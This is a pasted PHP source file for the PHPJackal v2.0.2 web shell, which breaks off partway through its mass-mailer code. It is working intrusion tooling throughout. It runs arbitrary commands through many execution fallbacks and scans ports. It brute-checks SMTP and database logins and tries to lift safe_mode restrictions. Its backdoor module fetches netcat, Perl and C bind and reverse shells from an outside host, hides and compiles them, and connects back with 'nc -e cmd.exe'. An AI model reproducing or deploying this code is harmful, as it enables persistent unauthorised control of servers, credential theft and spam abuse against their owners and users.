· 9 years ago · Apr 23, 2017, 03:54 PM
1<?php
2#PHPJackal v2.0.2
3#http://h.ackerz.com
4#--Config--#
5$login_password='';#Login password
6$email='';#Just in case you forget the password
7$IP=array();#Allowed addresses [$IP=array('192.168.100.5','192.168.100.9');]
8#----------#
9error_reporting(0);
10ignore_user_abort(true);
11set_time_limit(0);
12ini_set('max_execution_time','0');
13ini_set('memory_limit','9999M');
14ini_set('output_buffering',0);
15set_magic_quotes_runtime(0);
16if(!isset($_SERVER))$_SERVER=&$HTTP_SERVER_VARS;
17if(!isset($_POST))$_POST=&$HTTP_POST_VARS;
18if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
19if(!isset($_COOKIE))$_COOKIE=&$HTTP_COOKIE_VARS;
20if(!isset($_FILES))$_FILES=&$HTTP_POST_FILES;
21$_REQUEST = array_merge($_GET,$_POST);
22if(get_magic_quotes_gpc()){
23foreach($_REQUEST as $key=>$value)$_REQUEST[$key]=stripslashes($value);
24}
25if(count($IP) && !in_array($_SERVER['REMOTE_ADDR'],$IP))die('Access denied!');
26function hlinK($str=''){
27$myvars=array('attacH','forgeT','serveR','domaiN','modE','chkveR','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL');
28$ret=$_SERVER['PHP_SELF'].'?';
29$new=explode('&',$str);
30foreach($_GET as $key => $v){
31$add=1;
32foreach($new as $m){
33$el=explode('=',$m);
34if($el[0]==$key)$add=0;
35}
36if($add){if(!in_array($key,$myvars))$ret.="$key=$v&";}
37}
38$ret.=$str;
39return $ret;
40}
41header('Cache-Control: no-cache, must-revalidate');
42header('Expires: Mon, 7 Aug 1987 05:00:00 GMT');
43if(!empty($_REQUEST['forgeT'])){
44mail($email,'PHPJackal Password','Your password on '.$_SERVER['HTTP_HOST'].' is "'.$login_password.'"');
45die("<h1>Mail sent</h1>");
46}
47if(!empty($login_password)){
48if(!empty($_REQUEST['fpassw'])){
49if($_REQUEST['fpassw']==$login_password)setcookie('passw',md5($_REQUEST['fpassw']));
50header('Location: '.hlinK());
51}
52if(empty($_COOKIE['passw']) || $_COOKIE['passw']!=md5($login_password)){
53 $forget='';
54 if(!empty($email))$forget='<a href="'.hlinK("forgeT=1").'">Forget password!</a>';
55 die('<html><body><form method="POST">Password:<input type="password" name="fpassw"><input type="submit" value="Login"></form><br />'.$forget.'</body></html>');
56}
57}
58if (!empty($_REQUEST['slfrmv'])){unlink(__FILE__);die("<h1>Bye</h1>");}
59if(!empty($_REQUEST['workingdiR']))chdir($_REQUEST['workingdiR']);
60if(empty($_REQUEST['seC']))$_REQUEST['seC']='about';
61$disablefunctions=ini_get('disable_functions');
62$disablefunctions=explode(',',$disablefunctions);
63function checkthisporT($ip,$port,$timeout,$type=0){
64if(!$type){
65$scan=fsockopen($ip,$port,$n,$s,$timeout);
66if($scan){fclose($scan);return 1;}
67}
68elseif(function_exists('socket_set_timeout')){
69$scan=fsockopen("udp://$ip",$port);
70if($scan){
71socket_set_timeout($scan,$timeout);
72fwrite($scan,"\x00");
73$s=time();
74fread($scan,1);
75if((time()-$s)>=$timeout){fclose($scan);return 1;}
76}
77}
78return 0;
79}
80if(!function_exists('is_executable')){
81function is_executable($addr){
82return 0;
83}
84}
85if(!function_exists('file_get_contents')){
86function file_get_contents($addr){
87$a=fopen($addr,'r');
88$tmp=fread($a,filesize($a));
89fclose($a);
90if($a)return $tmp;else return null;
91}
92}
93if(!function_exists('file_put_contents')){
94function file_put_contents($addr,$con){
95$a=fopen($addr,'w');
96if(!$a)return 0;
97$t=fwrite($a,$con);
98fclose($a);
99if($t)return strlen($con);
100return 0;
101}
102}
103function file_add_contentS($addr,$con){
104$a=fopen($addr,'a');
105if(!$a)return 0;
106fwrite($a,$con);
107fclose($a);
108return strlen($con);
109}
110if(!empty($_REQUEST['chmoD']) && !empty($_REQUEST['modE']))chmod($_REQUEST['chmoD'],'0'.$_REQUEST['modE']);
111if(!empty($_REQUEST['downloaD'])){
112@ob_clean();
113$dl=$_REQUEST['downloaD'];
114$con=file_get_contents($dl);
115header('Content-type: '.get_mimE($dl));
116header("Content-disposition: attachment; filename=\"$dl\";");
117header('Content-length: '.strlen($con));
118die($con);
119}
120if(!empty($_REQUEST['imagE'])){
121$img=$_REQUEST['imagE'];
122header('Content-type: image/gif');
123header("Content-length: ".filesize($img));
124header("Last-Modified: ".date('r',filemtime($img)));
125die(file_get_contents($img));
126}
127if(!empty($_REQUEST['exT'])){
128$ex=$_REQUEST['exT'];
129$e=get_extension_funcs($ex);
130echo '<html><head><title>'.htmlspecialchars($ex).'</title></head><body><b>Functions:</b><br>';foreach($e as $k=>$f){$i=$k+1;echo "$i)$f ";if(in_array($f,$disablefunctions))echo '<font color=red>DISABLED</font>';echo '<br>';}
131die('</body></html>');
132}
133function showsizE($size){
134if($size>=1073741824)$size=round(($size/1073741824),2).' GB';
135elseif($size>=1048576)$size=round(($size/1048576),2).' MB';
136elseif($size>=1024)$size=round(($size/1024),2).' KB';
137else $size.=' B';
138return $size;
139}
140$windows=(substr((strtoupper(php_uname())),0,3)=='WIN')?1:0;
141$cwd=getcwd();
142$VERSION='2.0.2';
143$intro='<img src="http://h.ackerz.com/PHPJackal/images/about.png" style="border: none; margin: 0;" /><br /><br />
144<font color="red">
145<pre>
146______ _ _ ______ ___ _ _
147| ___ \ | | || ___ \|_ | | | | |
148| |_/ / |_| || |_/ / | | __ _ ___| | ____ _| |
149| __/| _ || __/ | |/ _` |/ __| |/ / _` | |
150| | | | | || | /\__/ / (_| | (__| < (_| | |
151\_| \_| |_/\_| \____/ \__,_|\___|_|\_\__,_|_|
152</pre></font><br />Version: '.$VERSION.'<br />Author: Nima Ghotbi (NetJackal)<br />Website: <a href="http://h.ackerz.com" target="_blank">http://h.ackerz.com</a><br /><br />You can submit Bugs/Ideas/Question at <a href="http://h.ackerz.com/forums/" target="_blank">http://h.ackerz.com/forums/</a><br />
153<br />New in this version: <br />
154<ul>
155<li>Steganographer added.</li>
156<li>MySQL dump added.</li>
157<li>Mailer now support dynamic content and attachment.</li>
158<li>Now you can set an email address to recover password in case you forget it later.</li>
159<li>Editor improved.</li>
160<li>Crackers improved.</li>
161<li>Information section improved.</li>
162<li>Header grabber improved.</li>
163<li>Send by mail added to Filemanager.</li>
164<li>Bug fix in Filemanager section.</li>
165<li>...</li>
166</ul>';
167$hcwd="<input type=hidden name=workingdiR value='$cwd'>";
168function checkfunctioN($func){
169global $disablefunctions,$safemode;
170$safe=array('passthru','system','exec','shell_exec','popen','proc_open');
171if($safemode=='ON' && in_array($func,$safe))return 0;
172elseif(function_exists($func) && is_callable($func) && !in_array($func,$disablefunctions))return 1;
173return 0;
174}
175function is_eveN($num){
176return ($num%2==0);
177}
178function asc2biN($char){
179return str_pad(decbin(ord($char)), 8, "0", STR_PAD_LEFT);
180}
181function rgb2biN($rgb){
182$binstream = "";
183$red = ($rgb >> 16) & 0xFF;
184$green = ($rgb >> 8) & 0xFF;
185$blue = $rgb & 0xFF;
186if(is_eveN($red))$binstream .= "1";else $binstream .= "0";
187if(is_eveN($green))$binstream .= "1";else $binstream .= "0";
188if(is_eveN($blue))$binstream .= "1";else $binstream .= "0";
189return $binstream;
190}
191function stegfilE($image, $fileaddr,$out){
192$filename=basename($fileaddr);
193$path=dirname($fileaddr);
194$imagename=basename($image);
195$binstream = $recordstream = "";
196$make_odd = Array();
197$pic = ImageCreateFromJPEG($image);
198$attributes = getImageSize($image);
199$outpic = ImageCreateFromJPEG($image);
200$data = file_get_contents($fileaddr);
201do{
202$boundary = chr(rand(0,255)).chr(rand(0,255)).chr(rand(0,255));
203} while(strpos($data,$boundary)!==false && strpos($hidefile['name'],$boundary)!==false);
204$data = $boundary.$filename.$boundary.$data.$boundary;
205if(strlen($data)*8 > ($attributes[0]*$attributes[1])*3){
206return "Cannot fit $filename in $imagename.<br />$imagename requires mask to contain at least ".(intval((strlen($data)*8)/3)+1)." pixels.<br />Maximum filesize that $imagename can hide is ".intval((($attributes[0]*$attributes[1])*3)/8)." bytes";
207}
208for($i=0; $i<strlen($data) ; $i++)
209{
210$char = $data{$i};
211$binary = asc2biN($char);
212$binstream .= $binary;
213
214for($j=0 ; $j<strlen($binary) ; $j++)
215{
216$binpart = $binary{$j};
217if($binpart=="0")
218{
219$make_odd[] = true;
220} else {
221$make_odd[] = false;
222}
223}
224}
225$y=0;
226for($i=0,$x=0; $i<sizeof($make_odd) ; $i+=3,$x++){
227$rgb = ImageColorAt($pic, $x,$y);
228$cols = Array();
229$cols[] = ($rgb >> 16) & 0xFF;
230$cols[] = ($rgb >> 8) & 0xFF;
231$cols[] = $rgb & 0xFF;
232
233for($j=0 ; $j<sizeof($cols) ; $j++)
234{
235if($make_odd[$i+$j]===true && is_eveN($cols[$j])){
236$cols[$j]++;
237} else if($make_odd[$i+$j]===false && !is_eveN($cols[$j])){
238$cols[$j]--;
239}
240}
241$temp_col = ImageColorAllocate($outpic,$cols[0],$cols[1],$cols[2]);
242ImageSetPixel($outpic,$x,$y,$temp_col);
243if($x==($attributes[0]-1)){
244$y++;
245$x=-1;
246}
247}
248ImagePNG($outpic,$out);
249return '<b>Well done!</b> <a href="'.hlink("seC=img&filE=$out&workingdiR=$path").'">'.htmlspecialchars($out).'</a><br />';
250}
251function steg_recoveR($fileaddr){
252global $cwd;
253$ascii=$boundary=$binstream=$filename="";
254$attributes = getImageSize($fileaddr);
255$pic = ImageCreateFromPNG($fileaddr);
256if(!$pic || !$attributes){
257return "could not read image";
258}
259$bin_boundary = "";
260for($x=0 ; $x<8 ; $x++)
261{
262$bin_boundary .= rgb2biN(ImageColorAt($pic, $x,0));
263}
264for($i=0 ; $i<strlen($bin_boundary) ; $i+=8)
265{
266$binchunk = substr($bin_boundary,$i,8);
267$boundary .= chr(bindec($binchunk));
268}
269$start_x = 8;
270for($y=0 ; $y<$attributes[1] ; $y++)
271{
272for($x=$start_x ; $x<$attributes[0] ; $x++){
273$binstream .= rgb2biN(ImageColorAt($pic, $x,$y));
274if(strlen($binstream)>=8){
275$binchar = substr($binstream,0,8);
276$ascii .= chr(bindec($binchar));
277$binstream = substr($binstream,8);
278}
279if(strpos($ascii,$boundary)!==false){
280$ascii = substr($ascii,0,strlen($ascii)-3);
281if(empty($filename)){
282$filename = $ascii;
283$ascii = "";
284} else {
285break 2;
286}
287}
288}
289$start_x = 0;
290}
291file_put_contents($filename,$ascii);
292return '<b>Well done!</b> <a href="'.hlink("seC=openit&namE=$filename&workingdiR=$cwd").'">'.htmlspecialchars($filename).'</a><br />';
293}
294function whereistmP(){
295$uploadtmp=ini_get('upload_tmp_dir');
296$uf=getenv('USERPROFILE');
297$af=getenv('ALLUSERSPROFILE');
298$se=ini_get('session.save_path');
299$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
300if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
301if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
302if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
303if(is_dir($uf) && is_writable($uf))return $uf;
304if(is_dir($af) && is_writable($af))return $af;
305if(is_dir($se) && is_writable($se))return $se;
306if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
307if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
308return '.';
309}
310function shelL($command){
311global $windows;
312$exec=$output='';
313$dep[]=array('pipe','r');$dep[]=array('pipe','w');
314if(checkfunctioN('passthru')){ob_start();passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
315elseif(checkfunctioN('system')){$tmp=ob_get_contents();ob_clean();system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
316elseif(checkfunctioN('exec')){exec($command,$output);$output=join("\n",$output);$exec=$output;}
317elseif(checkfunctioN('shell_exec'))$exec=shell_exec($command);
318elseif(checkfunctioN('popen')){$output=popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
319elseif(checkfunctioN('proc_open')){$res=proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
320elseif(checkfunctioN('win_shell_execute'))$exec=winshelL($command);
321elseif(checkfunctioN('win32_create_service'))$exec=srvshelL($command);
322elseif(extension_loaded('ffi') && $windows)$exec=ffishelL($command);
323elseif(is_object($ws=new COM('WScript.Shell')))$exec=comshelL($command,$ws);
324elseif(extension_loaded('perl'))$exec=perlshelL($command);
325return $exec;
326}
327function getiT($get){
328$fo=strtolower(ini_get('allow_url_fopen'));
329$ui=strtolower(ini_get('allow_url_include'));
330if($fo || $fo=='on')$con=file_get_contents($get);
331elseif($ui || $ui=='on'){
332ob_start();
333include($get);
334$con=ob_get_contents();
335ob_end_clean();
336}
337else{
338$u=parse_url($get);
339$host=$u['host'];$file=(empty($u['path']))?'/':$u['path'];$port=(empty($u['port']))?80:$u['port'];
340$url=fsockopen($host,$port,$en,$es,12);
341fputs($url,"GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
342$tmp=$con='';
343while($tmp!="\r\n")$tmp=fgets($url);
344while(!feof($url))$con.=fgets($url);
345}
346return $con;
347}
348function downloadiT($get,$put){
349$con=getiT($get);
350$mk=file_put_contents($put,$con);
351if($mk)return 1;
352return 0;
353}
354function winshelL($command){
355$name=whereistmP()."\\".uniqid('NJ');
356win_shell_execute('cmd.exe','',"/C $command >\"$name\"");
357sleep(1);
358$exec=file_get_contents($name);
359unlink($name);
360return $exec;
361}
362function ffishelL($command){
363$name=whereistmP()."\\".uniqid('NJ');
364$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
365$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
366while(!file_exists($name))sleep(1);
367$exec=file_get_contents($name);
368unlink($name);
369return $exec;
370}
371function srvshelL($command){
372$name=whereistmP()."\\".uniqid('NJ');
373$n=uniqid('NJ');
374$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
375win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
376win32_start_service($n);
377win32_stop_service($n);
378win32_delete_service($n);
379while(!file_exists($name))sleep(1);
380$exec=file_get_contents($name);
381unlink($name);
382return $exec;
383}
384function get_mimE($filename){
385global $windows;
386preg_match("/\.(.*?)$/", $filename, $m);
387switch(strtolower($m[1])){
388case "js": return "application/javascript";
389case "json": return "application/json";
390case "jpg": case "jpeg": case "jpe": return "image/jpg";
391case "png": case "gif": case "bmp": return "image/".strtolower($m[1]);
392case "css": return "text/css";
393case "xml": return "application/xml";
394case "html": case "htm": case "php": return "text/html";
395default:
396if(function_exists("mime_content_type")){$m = mime_content_type($filename);}elseif(function_exists("finfo_open")){
397$finfo = finfo_open(FILEINFO_MIME);
398$m = finfo_file($finfo, $filename);
399finfo_close($finfo);
400}else{
401if($windows)return "application/octet-stream";
402if(strstr($_SERVER[HTTP_USER_AGENT], "Macintosh")){$m = trim(shelL('file -b --mime '.$filename));
403}else{
404$m = trim(shelL('file -bi '.$filename));
405}
406}
407$m = split(";", $m);
408return trim($m[0]);
409}
410}
411function comshelL($command,$ws){
412$exec=$ws->exec("cmd.exe /c $command");
413$so=$exec->StdOut();
414return $so->ReadAll();
415}
416function perlshelL($command){
417$perl=new perl();
418ob_start();
419$perl->eval("system('$command')");
420$exec=ob_get_contents();
421ob_end_clean();
422return $exec;
423}
424function smtpchecK($addr,$user,$pass,$timeout){
425$sock=fsockopen($addr,25,$n,$s,$timeout);
426if(!$sock)return -1;
427fread($sock,1024);
428fputs($sock,'ehlo '.uniqid('NJ')."\r\n");
429$res=substr(fgets($sock,512),0,1);
430if($res!='2')return 0;
431fgets($sock,512);fgets($sock,512);fgets($sock,512);
432fputs($sock,"AUTH LOGIN\r\n");
433$res=substr(fgets($sock,512),0,3);
434if($res!='334')return 0;
435fputs($sock,base64_encode($user)."\r\n");
436$res=substr(fgets($sock,512),0,3);
437if($res!='334')return 0;
438fputs($sock,base64_encode($pass)."\r\n");
439$res=substr(fgets($sock,512),0,3);
440if($res!='235')return 0;
441return 1;
442}
443function mysqlchecK($host,$user,$pass,$timeout){
444if(function_exists('mysql_connect')){
445$l=mysql_connect($host,$user,$pass);
446if($l)return 1;
447}
448return 0;
449}
450function mssqlchecK($host,$user,$pass,$timeout){
451if(function_exists('mssql_connect')){
452$l=mssql_connect($host,$user,$pass);
453if($l)return 1;
454}
455return 0;
456}
457function checksmtP($host,$timeout){
458$from=strtolower(uniqid('nj')).'@'.strtolower(uniqid('nj')).'.com';
459$sock=fsockopen($host,25,$n,$s,$timeout);
460if(!$sock)return -1;
461$res=substr(fgets($sock,512),0,3);
462if($res!='220')return 0;
463fputs($sock,'HELO '.uniqid('NJ')."\r\n");
464$res=substr(fgets($sock,512),0,3);
465if($res!='250')return 0;
466fputs($sock,"MAIL FROM: <$from>\r\n");
467$res=substr(fgets($sock,512),0,3);
468if($res!='250')return 0;
469fputs($sock,"RCPT TO: <contact@persianblog.ir>\r\n");
470$res=substr(fgets($sock,512),0,3);
471if($res!='250')return 0;
472fputs($sock,"DATA\r\n");
473$res=substr(fgets($sock,512),0,3);
474if($res!='354')return 0;
475fputs($sock,"From: ".uniqid('NJ')." ".uniqid('NJ')." <$from>\r\nSubject: ".uniqid('NJ')."\r\nMIME-Version: 1.0\r\nContent-Type: text/plain;\r\n\r\n".uniqid('Hello ',true)."\r\n.\r\n");
476$res=substr(fgets($sock,512),0,3);
477if($res!='250')return 0;
478return 1;
479}
480function replace_stR($s,$h){
481$ret=$h;
482foreach($s as $k=>$r)$ret=str_replace($k,$r,$ret);
483return $ret;
484}
485function check_urL($url,$method,$search='200',$timeout=3){
486$u=parse_url($url);
487$method=strtoupper($method);
488$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port'];
489$data=(!empty($u['query']))?$u['query']:'';
490if(!empty($data))$data="?$data";
491$sock=fsockopen($host,$port,$en,$es,$timeout);
492if($sock){
493fputs($sock,"$method $file$data HTTP/1.0\r\n");
494fputs($sock,"Host: $host\r\n");
495if($method=='GET')fputs($sock,"\r\n");
496elseif($method=='POST')fputs($sock,'Content-Type: application/x-www-form-urlencoded\r\nContent-length: '.strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data");
497else return 0;
498if($search=='200')if(strstr(fgets($sock),'200')){fclose($sock);return 1;}else{fclose($sock);return 0;}
499while(!feof($sock)){
500$res=fgets($sock);
501if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;}
502}
503fclose($sock);
504}
505return 0;
506}
507function get_sw_namE($host,$timeout){
508$sock=fsockopen($host,80,$en,$es,$timeout);
509if($sock){
510$page=uniqid('NJ');
511fputs($sock,"GET /$page HTTP/1.0\r\n\r\n");
512while(!feof($sock)){
513$con=fgets($sock);
514if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;}
515}
516fclose($sock);
517return -1;
518}return 0;
519}
520function snmpchecK($ip,$com,$timeout){
521$res=0;
522$n=chr(0x00);
523$packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01).chr(0x00).chr(0x04).chr(strlen($com)).$com.chr(0xA0).chr(0x19).chr(0x02).chr(0x01).chr(0x01).chr(0x02).chr(0x01).$n.chr(0x02).chr(0x01).$n.chr(0x30).chr(0x0E).chr(0x30).chr(0x0C).chr(0x06).chr(0x08).chr(0x2B).chr(0x06).chr(0x01).chr(0x02).chr(0x01).chr(0x01).chr(0x01).$n.chr(0x05).$n;
524$sock=fsockopen("udp://$ip",161);
525if(function_exists('socket_set_timeout'))socket_set_timeout($sock,$timeout);
526fputs($sock,$packet);
527socket_set_timeout($sock,$timeout);
528$res=fgets($sock);
529fclose($sock);
530if($res != '')return 1;else return 0;
531}
532$safemode=(ini_get('safe_mode') || strtolower(ini_get('safe_mode'))=='on')?'ON':'OFF';
533if($safemode=='ON'){ini_restore('safe_mode');ini_restore('open_basedir');}
534function brshelL(){
535global $windows,$hcwd;
536echo '<img src="http://h.ackerz.com/PHPJackal/images/br.png" style="border: none; margin: 0;" /><br /><br />';
537$_REQUEST['C']=(isset($_REQUEST['C']))?$_REQUEST['C']:0;
538$addr='http://h.ackerz.com/PHPJackal/br';
539$error="Can not make backdoor file, go to writeable folder.";
540$n=uniqid('NJ_');
541if(!$windows)$n=".$n";
542$d=whereistmP();
543$name=$d.DIRECTORY_SEPARATOR.$n;
544$c=($_REQUEST['C'])?1:0;
545if(!empty($_REQUEST['port']) && ($_REQUEST['port']<=65535) && ($_REQUEST['port']>=1)){
546$port=(int)$_REQUEST['port'];
547if($windows){
548if($c){
549$name.='.exe';
550$bd=downloadiT("$addr/nc",$name);
551shelL("attrib +H $name");
552if(!$bd)echo $error;else shelL("$name -L -p $port -e cmd.exe");
553}else{
554$name=$name.'.pl';
555$bd=downloadiT("$addr/winbind.p",$name);
556shelL("attrib +H $name");
557if(!$bd)echo $error;else shelL("perl $name $port");
558}
559}
560else{
561if($c){
562$bd=downloadiT("$addr/bind.c",$name);
563if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $port &");
564}else{
565$bd=downloadiT("$addr/bind.p",$name);
566if(!$bd)echo $error;else shelL("cd $d;perl $n $port &");
567echo "<font color=blue>Backdoor is waiting for you on $port.<br></font>";
568}
569}
570}
571elseif(!empty($_REQUEST['rport']) && ($_REQUEST['rport']<=65535) && ($_REQUEST['rport']>=1) && !empty($_REQUEST['ip'])){
572$ip=$_REQUEST['ip'];
573$port=(int)$_REQUEST['rport'];
574if($windows){
575if($c){
576$name.='.exe';
577$bd=downloadiT("$addr/nc",$name);
578shelL("attrib +H $name");
579if(!$bd)echo $error;else shelL("$name $ip $port -e cmd.exe");
580}else{
581$name=$name.'.pl';
582$bd=downloadiT("$addr/winrc.p",$name);
583shelL("attrib +H $name");
584if (!$bd)echo $error;else shelL("perl.exe $name $ip $port");
585}
586}
587else{
588if($c){
589$bd=downloadiT("$addr/rc.c",$name);
590if(!$bd)echo $error;else shelL("cd $d;gcc -o $n $n.c;chmod +x ./$n;./$n $ip $port &");
591}else{
592$bd=downloadiT("$addr/rc.p",$name);
593if(!$bd)echo $error;else shelL("cd $d;perl $n $ip $port &");
594}
595}
596echo '<font color=blue>Done!</font>';}
597else{
598echo '<form name=bind method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Bind shell</label></div><div class="fieldwrapper"><label class="styled">Port:</label><div class="thefield"><input type="text" name="port" value="55501" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Type:</label><div class="thefield"><ul style="margin-top:0;"><li><input type="radio" value="0" checked name="C" /> <label>PERL</label></li><li><input type="radio" name="C" value="1" /> <label>';if($windows)echo 'EXE';else echo 'C';echo '</label></li></ul></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Bind" style="margin-left: 150px;" /></div></form><form name=reverse method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Reverse shell</label></div><div class="fieldwrapper"><label class="styled">IP:</label><div class="thefield"><input type="text" name="ip" value="';echo $_SERVER['REMOTE_ADDR'];echo '" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Port:</label><div class="thefield"><input type="text" name="rport" value="53" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Type:</label><div class="thefield"><ul style="margin-top:0;"><li><input type="radio" value="0" checked name="C" /> <label>PERL</label></li><li><input type="radio" name="C" value="1" /> <label>';if($windows)echo 'EXE';else echo 'C';echo '</label></li></ul></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Connect" style="margin-left: 150px;" /></div></form>';
599}
600}
601function showimagE($img){
602echo '<img border=0 src="'.hlinK("imagE=$img&&workingdiR=".getcwd()).'"><br /><a href="javascript: history.go(-1)"><img src="http://h.ackerz.com/PHPJackal/images/back.png" /><b>Back</b></a>';}
603function editoR($file=''){
604global $hcwd,$cwd;
605if(!empty($_REQUEST['filE']))$file=$_REQUEST['filE'];
606if($file=='')$file=$cwd;else $file=realpath($file);
607$data="";
608if(is_file($file)){
609if(!is_readable($file)){echo "File is not readable";}
610if(!is_writeable($file)){echo "File is not writeable";}
611$data=file_get_contents($file);
612}
613echo '<img src="http://h.ackerz.com/PHPJackal/images/editor.png" style="border: none; margin: 0;" /><br /><br /><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">File:</label><div class="thefield"><input type="text" name="filE" value="'.htmlspecialchars($file).'" size="30" />'.$hcwd.'</div></div><div class="buttonsdiv"><input type="submit" name="open" value="Open" style="margin-left: 150px;" /></div></form><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">Content:</label><div class="thefield"><textarea name="edited">'.htmlspecialchars($data).'</textarea></div></div>'.$hcwd.'<input type="hidden" name="filE" value="'.htmlspecialchars($file).'"/><div class="buttonsdiv"><input type="submit" name="Save" value="Save" style="margin-left: 150px;" /></div></form>';
614}
615function webshelL(){
616global $windows,$hcwd,$cwd;
617if($windows){
618$alias="<option value='netstat -an'>Display open ports</option><option value='tasklist'>List of processes</option><option value='systeminfo'>System information</option><option value='ipconfig /all'>IP configuration</option><option value='getmac'>Get MAC address</option><option value='net start'>Services list</option><option value='net view'>Machines in domain</option><option value='net user'>Users list</option><option value='shutdown -s -f -t 1'>Turn off the server</option>";
619}
620else{
621$alias="<option value='netstat -an | grep -i listen'>Display open ports</option><option value='last -a -n 250 -i'>Show last 250 logged in users</option><option value='which wget curl lynx w3m'>Downloaders</option><option value='find / -perm -2 -type d -print'>Find world-writable directories</option><option value='find . -perm -2 -type d -print'>Find world-writable directories(in current directory)</option><option value='find / -perm -2 -type f -print'>Find world-writable files</option><option value='find . -perm -2 -type f -print'>Find world-writable files(in current directory)</option><option value='find / -type f -perm 04000 -ls'>Find files with SUID bit set</option><option value='find / -type f -perm 02000 -ls'>Find files with SGID bit set</option><option value='find / -name .htpasswd -type f'>Find .htpasswd files</option><option value='find / -type f -name .bash_history'>Find .bash_history files</option><option value='cat /etc/syslog.conf'>View syslog.conf</option><option value='cat cat /etc/hosts'>View hosts</option><option value='ps auxw'>List of processes</option>";
622if(is_dir('/etc/valiases'))$alias.="<option value='ls -l /etc/valiases'>List of cPanel`s domains(valiases)</option>";if(is_dir('/etc/vdomainaliases'))$alias.="<option value='ls -l /etc/vdomainaliases'>List cPanel`s domains(vdomainaliases)</option>";if(file_exists('/var/cpanel/accounting.log'))$alias.="<option value='cat /var/cpanel/accounting.log'>Display cPanel`s log</option>";
623if(is_dir('/var/spool/mail/'))$alias.="<option value='ls /var/spool/mail/'>Mailboxes list</option>";
624}
625echo '<img src="http://h.ackerz.com/PHPJackal/images/webshell.png" style="border: none; margin: 0;" /><br /><br /><form method="POST" class="form"><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">Location:</label><div class="thefield"><input type="text" name="workingdiR" value="'.$cwd.'" size="30" /><br /></div></div><div class="buttonsdiv"><input type="submit" value="Change" style="margin-left: 150px;" /></div></form><form method="POST" class="form">';
626if(!empty($_REQUEST['cmd'])){
627echo '<div class="fieldwrapper"><label class="styled">Result:</label><div class="thefield"><pre>';echo shelL($_REQUEST['cmd']);echo'</pre></div></div>';
628}
629echo '<div class="fieldwrapper"><label class="styled">Command:</label><div class="thefield"><input type="text" name="cmd" value="';if(!empty($_REQUEST['cmd']))echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows)echo "cat /etc/passwd";echo '" size="30" /><br /></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Execute" style="margin-left: 150px;" /></div></form><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">Alias:</label><div class="thefield"><select name="cmd">'.$alias.'</select></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Execute" style="margin-left: 150px;" /></div></form>';
630}
631function maileR(){
632global $hcwd,$cwd;
633echo '<img src="http://h.ackerz.com/PHPJackal/images/mail.png" style="border: none; margin: 0;" /><br /><br />';
634if(!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){
635$from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body'];
636$to= explode("\n",$_REQUEST['to']);
637$headers="From: $from";
638if(!empty($_REQUEST['attach'])){
639if(is_readable($_REQUEST['attach'])){
640$data=file_get_contents($_REQUEST['attach']);
641$mime_boundary = "----=".md5(time());;
642$headers .= "\nMIME-Version: 1.0\n".
643"Content-Type: multipart/mixed; boundary=\"$mime_boundary\"";
644$data = chunk_split(base64_encode($data));
645$type=get_mimE($_REQUEST['attach']);
646$body =
647"$mime_boundary\n".
648"Content-Type: text/html; charset=\"iso-8859-1\"\n".
649"Content-Transfer-Encoding: 7bit\n\n".
650$body."\n".
651"$mime_boundary\n".
652"Content-Type: $type; name=\"".basename($_REQUEST['attach'])."\"\n".
653"Content-Disposition: attachment; filename=\"".basename($_REQUEST['attach'])."\"\n".
654"Content-Transfer-Encoding: Base64\n\n".
655$data."\n".
656"$mime_boundary--\n";
657}
658}
659$_SERVER['PHP_SELF'] = "/";
660$_SERVER['REMOTE_ADDR'] = '127.0.0.1';
661$_SERVER['SERVER_NAME'] = 'google.com';
662echo "<pre>";
663foreach ($to as $target){
664$info=explode('@',$target);
665$rsubject=str_replace('[EMAIL]',$target,$subject);$rsubject=str_replace('[USER]',$info[0],$subject);$rsubject=str_replace('[DOMAIN]',$info[1],$subject);
666$rbody=str_replace('[EMAIL]',$target,$body);
